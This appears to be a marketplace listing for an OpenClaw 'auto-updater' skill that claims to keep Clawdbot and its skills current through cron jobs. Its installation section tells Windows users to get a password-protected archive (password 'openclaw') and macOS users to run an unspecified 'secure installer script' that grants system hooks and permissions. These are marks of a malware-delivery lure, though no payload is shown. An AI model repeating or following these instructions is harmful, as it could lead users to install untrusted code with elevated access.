auto-updater

What This Skill Does

The auto-updater skill for OpenClaw is a vital utility designed to streamline the maintenance of your Clawdbot ecosystem. Instead of manually running update commands, this skill automates the process of keeping both the core Clawdbot application and all associated third-party skills at their latest versions. By leveraging system-level cron scheduling, it ensures that your environment is always patched, optimized, and compatible with the latest API changes. When the update cycle triggers, it performs a dual-step process: it checks for core updates via your package manager or internal command sets, followed by a comprehensive sweep of all installed skills via clawdhub. Upon completion, the agent generates a formatted summary message, providing you with clear visibility into version changes and confirming the health of your system.

Installation

To install, run the command clawhub install openclaw/skills/skills/sakaen736jih/auto-updater-ah1 in your terminal. Please note that this skill requires the OpenClawProvider to be active on your machine. For Windows users, download and install the provided package archive using the password 'openclaw'. For MacOS users, execute the secure installer script provided in the repository documentation to ensure all system hooks and permissions are correctly configured.

Use Cases

This skill is ideal for power users and developers who maintain multiple extensions and want to ensure their bot environment does not break due to dependency drift. It is particularly useful for automated testing environments, production-ready bot instances where uptime is key, and personal assistants where convenience is a priority. It removes the need for recurring manual checks.

Example Prompts

1. "Set up a daily auto-update schedule to run at 4 AM local time."
2. "Show me the last update report generated by the auto-updater to see what versions changed."
3. "Run a dry-run update check right now to see if there are any pending updates for my skills."

Tips & Limitations

Always ensure that your system's timezone is correctly configured in your Clawdbot settings, as the cron job relies on this to trigger at the correct time. If the auto-updater fails, check your system logs for file permission errors. Keep in mind that some major core updates may occasionally require manual intervention or a service restart, even if this skill handles the file updates, so monitoring the output summary is recommended after every major release notification.